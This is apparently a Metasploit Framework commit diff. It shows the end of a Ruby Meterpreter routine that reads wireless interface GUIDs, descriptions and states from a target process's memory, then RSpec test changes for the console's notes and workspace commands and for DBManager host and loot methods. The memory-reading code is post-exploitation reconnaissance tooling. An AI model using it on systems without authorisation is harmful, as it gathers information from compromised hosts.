numifs = numifs.unpack("V")[0]
interfaces = []
#Set the pointer ahead to the first element in the array
pointer = (pointer + 8)
(1..numifs).each do |i|
interface = {}
#Read the GUID (16 bytes)
interface['guid'] = @host_process.memory.read(pointer,16)
pointer = (pointer + 16)
#Read the description(up to 512 bytes)
interface['description'] = @host_process.memory.read(pointer,512)
pointer = (pointer + 512)
#Read the state of the interface (4 bytes)
state = @host_process.memory.read(pointer,4)
pointer = (pointer + 4)
#Turn the state into human readable form
state = state.unpack("V")[0]
case state
when 0
interface['state'] = "The interface is not ready to operate."
when 1
interface['state'] = "The interface is connected to a network."
when 2
interface['state'] = "The interface is the first node in an ad hoc network. No peer has connected."
when 3
interface['state'] = "The interface is disconnecting from the current network."
when 4
interface['state'] = "The interface is not connected to any network."
when 5
interface['state'] = "The interface is attempting to associate with a network."
when 6
interface['state'] = "Auto configuration is discovering the settings for the network."
when 7
interface['state'] = "The interface is in the process of authenticating."
else
interface['state'] = "Unknown State"
end
interfaces << interface
end
return interfaces
end
end

View File

@ -51,7 +51,6 @@ RSpec.describe Msf::Ui::Console::CommandDispatcher::Db do
it { is_expected.to respond_to :db_parse_db_uri_postgresql }
it { is_expected.to respond_to :deprecated_commands }
it { is_expected.to respond_to :each_host_range_chunk }
it { is_expected.to respond_to :make_sortable }
it { is_expected.to respond_to :name }
it { is_expected.to respond_to :set_rhosts_from_addrs }
@ -173,16 +172,16 @@ RSpec.describe Msf::Ui::Console::CommandDispatcher::Db do
" -a,--add Add a note to the list of addresses, instead of listing",
" -d,--delete Delete the hosts instead of searching",
" -n,--note <data> Set the data for a new note (only with -a)",
" -t <type1,type2> Search for a list of types",
" -t,--type <type1,type2> Search for a list of types, or set single type for add",
" -h,--help Show this help information",
" -R,--rhosts Set RHOSTS from the results of the search",
" -S,--search Regular expression to match for search",
" -S,--search Search string to filter by",
" -o,--output Save the notes to a csv file",
" --sort <field1,field2> Fields to sort by (case sensitive)",
" -O <column> Order rows by specified column number",
"Examples:",
" notes --add -t apps -n 'winzip' 10.1.1.34 10.1.20.41",
" notes -t smb.fingerprint 10.1.1.34 10.1.20.41",
" notes -S 'nmap.nse.(http|rtsp)' --sort type,output"
" notes -S 'nmap.nse.(http|rtsp)'"
]
end
@ -341,7 +340,8 @@ RSpec.describe Msf::Ui::Console::CommandDispatcher::Db do
expect(@output).to match_array [
"Added workspace: foo",
"Added workspace: bar",
"Added workspace: baf"
"Added workspace: baf",
"Workspace: baf"
]
end
end
@ -349,25 +349,18 @@ RSpec.describe Msf::Ui::Console::CommandDispatcher::Db do
describe "-d" do
it "should delete a workspace" do
db.cmd_workspace("-a", "foo")
@output = []
expect(framework.db.find_workspace("foo")).not_to be_nil
db.cmd_workspace("-d", "foo")
expect(@output).to match_array [
"Deleted workspace: foo",
"Switched workspace: default"
]
expect(framework.db.find_workspace("foo")).to be_nil
end
end
describe "-D" do
it "should delete all workspaces" do
db.cmd_workspace("-a", "foo")
@output = []
expect(framework.db.workspaces.size).to be > 1
db.cmd_workspace("-D")
expect(@output).to match_array [
"Deleted and recreated the default workspace",
"Deleted workspace: foo",
"Switched workspace: default"
]
expect(framework.db.workspaces.size).to eq 1
end
end

View File

@ -6,5 +6,4 @@ RSpec.shared_examples_for 'Msf::DBManager::Host' do
it { is_expected.to respond_to :has_host? }
it { is_expected.to respond_to :hosts }
it { is_expected.to respond_to :report_host }
it { is_expected.to respond_to :update_host_via_sysinfo }
end

View File

@ -1,5 +1,4 @@
RSpec.shared_examples_for 'Msf::DBManager::Loot' do
it { is_expected.to respond_to :each_loot }
it { is_expected.to respond_to :find_or_create_loot }
it { is_expected.to respond_to :loots }
it { is_expected.to respond_to :report_loot }